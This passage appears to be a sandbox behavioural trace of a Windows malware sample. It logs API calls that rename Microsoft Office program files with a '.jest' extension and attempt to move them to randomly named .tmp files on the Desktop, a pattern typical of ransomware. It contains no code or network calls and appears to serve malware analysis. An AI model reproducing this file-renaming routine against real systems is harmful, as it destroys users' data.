[0167.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n X5e1DO6J0W0es-jI3N7cIBbZZ3PIviIr-ptekdrX3yYMEoZoPs8ER5tRspyVq_ujGD8Do501GCtmmKGEz5Wwy27nlMUw5OKJrnW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n x5e1do6j0w0es-ji3n7cibbzz3piviir-ptekdrx3yymeozops8er5trspyvq_ujgd8do501gctmmkgez5wwy27nlmuw5okjrnw.tmp")) returned 0 [0167.400] GetLastError () returned 0x2 [0167.401] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.jest")) returned 1 [0167.405] VarBstrFromR4 (in: fltIn=0x4794587c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.97") returned 0x0 [0167.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\62Q0_ 9xuPDWhIV0UO4No9UUBGAlUR64Q6pIoS_UMQ4zZYly-gUMf8YuTfb-pyG1wvUIcmhKjJhQtb9d1y4S_ CysBSAASbLRsEV-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\62q0_ 9xupdwhiv0uo4no9uubgalur64q6pios_umq4zzyly-gumf8yutfb-pyg1wvuicmhkjjhqtb9d1y4s_ cysbsaasblrsev-.tmp")) returned 0 [0167.407] GetLastError () returned 0x2 [0167.407] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.jest")) returned 1 [0167.411] VarBstrFromR4 (in: fltIn=0x4794587c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.97") returned 0x0 [0167.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bXcJLNP8tcKGrOrV0VXtSsKtP8ju3NgooMZyXxdgwA1Ajxpr_kwHjKBiH 1UB_Tw5wQSIgesMkNM9SSt_TqJOjrI6f6edp zc 1z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxcjlnp8tckgrorv0vxtssktp8ju3ngoomzyxxdgwa1ajxpr_kwhjkbih 1ub_tw5wqsigesmknm9sst_tqjojri6f6edp zc 1z.tmp")) returned 0 [0167.412] GetLastError () returned 0x2 [0167.412] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg.jest")) returned 1 [0167.416] VarBstrFromR4 (in: fltIn=0x4794587e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.98") returned 0x0 [0167.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nuZamo9idcxv_D4bf4h-BkXo0duomK7YLBCbrkAyOQXiGGZs6PcX_xE7MQ_teegcFSfLly8-K0_qKod748L1m-1H6tbggZH5udzyT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nuzamo9idcxv_d4bf4h-bkxo0duomk7ylbcbrkayoqxiggzs6pcx_xe7mq_teegcfsflly8-k0_qkod748l1m-1h6tbggzh5udzyt.tmp")) returned 0 [0167.417] GetLastError () returned 0x2 [0167.418] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.jest")) returned 1 [0167.421] VarBstrFromR4 (in: fltIn=0x4794587e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.98") returned 0x0 [0167.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5lu-z9LnXgLMHJA ZSttUFUT2HDkSrfCH5mq5JhvHMp7hdVoL3Ht97X3rKSHq784Bzrd9OSlJK8sg3KXxG4RGKaWLw t97-0OAqvD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5lu-z9lnxglmhja zsttufut2hdksrfch5mq5jhvhmp7hdvol3ht97x3rkshq784bzrd9osljk8sg3kxxg4rgkawlw t97-0oaqvd.tmp")) returned 0 [0167.422] GetLastError () returned 0x2 [0167.423] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.jest")) returned 1 [0167.426] VarBstrFromR4 (in: fltIn=0x4794587e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.98") returned 0x0 [0167.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDPRxWcbdxP1U jT9HLxqC3pp7hIoHRIgwzsx8Xk4nXMFZuysMqhPtmlfZRX9rGqTJCFSWem xcUqUbzu2tqI8ySvAVYTH-pXDV1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edprxwcbdxp1u jt9hlxqc3pp7hiohrigwzsx8xk4nxmfzuysmqhptmlfzrx9rgqtjcfswem xcuqubzu2tqi8ysvavyth-pxdv1.tmp")) returned 0 [0167.427] GetLastError () returned 0x2 [0167.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.jest")) returned 1 [0167.432] VarBstrFromR4 (in: fltIn=0x47945880, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953") returned 0x0 [0167.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rWtZjli98tXpZ9ETQQzjpv1yXeWb-7MA61uUtAhjgKQeFzJW ErLnMxL _uI6FLCYcWrQVtirdip35pn1RCeQEDSUmKHocK1sm8RF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwtzjli98txpz9etqqzjpv1yxewb-7ma61uutahjgkqefzjw erlnmxl _ui6flcycwrqvtirdip35pn1rceqedsumkhock1sm8rf.tmp")) returned 0 [0167.433] GetLastError () returned 0x2 [0167.433] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.jest")) returned 1 [0167.436] VarBstrFromR4 (in: fltIn=0x47945880, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953") returned 0x0 [0167.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hm5BNQbrSAwFvPuclJFN6UUYToFJp08_4i0WVQH9CvbrP7GtP5IoM8KedruLdrrPDgdR5s45gGpB0NRB2IuyKJGxyOvRejZMbLwf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hm5bnqbrsawfvpucljfn6uuytofjp08_4i0wvqh9cvbrp7gtp5iom8kedruldrrpdgdr5s45ggpb0nrb2iuykjgxyovrejzmblwf.tmp")) returned 0 [0167.438] GetLastError () returned 0x2 [0167.439] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.jest")) returned 1 [0167.441] VarBstrFromR4 (in: fltIn=0x47945880, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953") returned 0x0 [0167.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMQSF9VErL7jZZ4Z87VgEYTou2YnPj_MMQERRvMCsWVr KYNMDcg9560sXotCDtTw4 G58gbAiNH8k7LNbr05XoMNpFA 3n3LBYrE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\umqsf9verl7jzz4z87vgeytou2ynpj_mmqerrvmcswvr kynmdcg9560sxotcdttw4 g58gbainh8k7lnbr05xomnpfa 3n3lbyre.tmp")) returned 0 [0167.442] GetLastError () returned 0x2 [0167.442] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ȕ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer.jest")) returned 1 [0167.446] VarBstrFromR4 (in: fltIn=0x47945882, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.02") returned 0x0 [0167.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5RKX95qk23Seb6y6F7zm9VS7MLcIpui6IMoDHdeurGXTXY0ekeQQ5EKx39-LdAO8zOO8-6Fe-zoAMcEpNL5IXT1w0jhGUzBBFv9k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5rkx95qk23seb6y6f7zm9vs7mlcipui6imodhdeurgxtxy0ekeqq5ekx39-ldao8zoo8-6fe-zoamcepnl5ixt1w0jhguzbbfv9k.tmp")) returned 0 [0167.447] GetLastError () returned 0x2 [0167.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css.jest")) returned 1 [0167.450] VarBstrFromR4 (in: fltIn=0x47945882, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.02") returned 0x0 [0167.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FMwio5_U4pDzuuE5_ AuZ3_NyriL3He1ciRPgW9a6HdhubakplEZtuQ5DBW_DDsofNulicsDhGPTGiCklmoFfwjhF_ldDOgp ofse.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fmwio5_u4pdzuue5_ auz3_nyril3he1cirpgw9a6hdhubakpleztuq5dbw_ddsofnulicsdhgptgicklmoffwjhf_lddogp ofse.tmp")) returned 0 [0167.451] GetLastError () returned 0x2 [0167.452] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.jest")) returned 1 [0167.455] VarBstrFromR4 (in: fltIn=0x47945882, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.02") returned 0x0 [0167.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ FOdBVy-TFIz_BxQ3jFPrrp8jlFrRIHfWTLdLjOD1G7gcBMBXpDtlrc-KwiEiCYSeM9F oAoEvpBpiv_cEVuOD-lqjvdvJBkzTP7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ fodbvy-tfiz_bxq3jfprrp8jlfrrihfwtldljod1g7gcbmbxpdtlrc-kwieicysem9f oaoevpbpiv_cevuod-lqjvdvjbkztp7.tmp")) returned 0 [0167.456] GetLastError () returned 0x2 [0167.457] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.jest")) returned 1 [0167.460] VarBstrFromR4 (in: fltIn=0x47945884, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.03") returned 0x0 [0167.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GuW3UHDD0PsVnYLo ynjLtcUpDk_Dq4 HurExl v5RIKE5VyOlO93h2KTcVJlgm9GyX665JXM0tuGydpGjxcLTgLDrVD23N-vxtG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\guw3uhdd0psvnylo ynjltcupdk_dq4 hurexl v5rike5vyolo93h2ktcvjlgm9gyx665jxm0tugydpgjxcltgldrvd23n-vxtg.tmp")) returned 0 [0167.461] GetLastError () returned 0x2 [0167.468] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ɺ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ɼ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.479] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.jest")) returned 1 [0167.495] VarBstrFromR4 (in: fltIn=0x47945888, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.06") returned 0x0 [0167.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EtMYCpp2rnSirpKhsd4g8letqc _qAeclKdL_oMm9__0U7-UMiGkaG2I-cs61BbD1mt jjNezgfRoL3cws1c0u_MVCv2q9P3wbScP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\etmycpp2rnsirpkhsd4g8letqc _qaeclkdl_omm9__0u7-umigkag2i-cs61bbd1mt jjnezgfrol3cws1c0u_mvcv2q9p3wbscp.tmp")) returned 0 [0167.497] GetLastError () returned 0x2 [0167.497] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.jest" (normalized: "c:\\program files\\microsoft 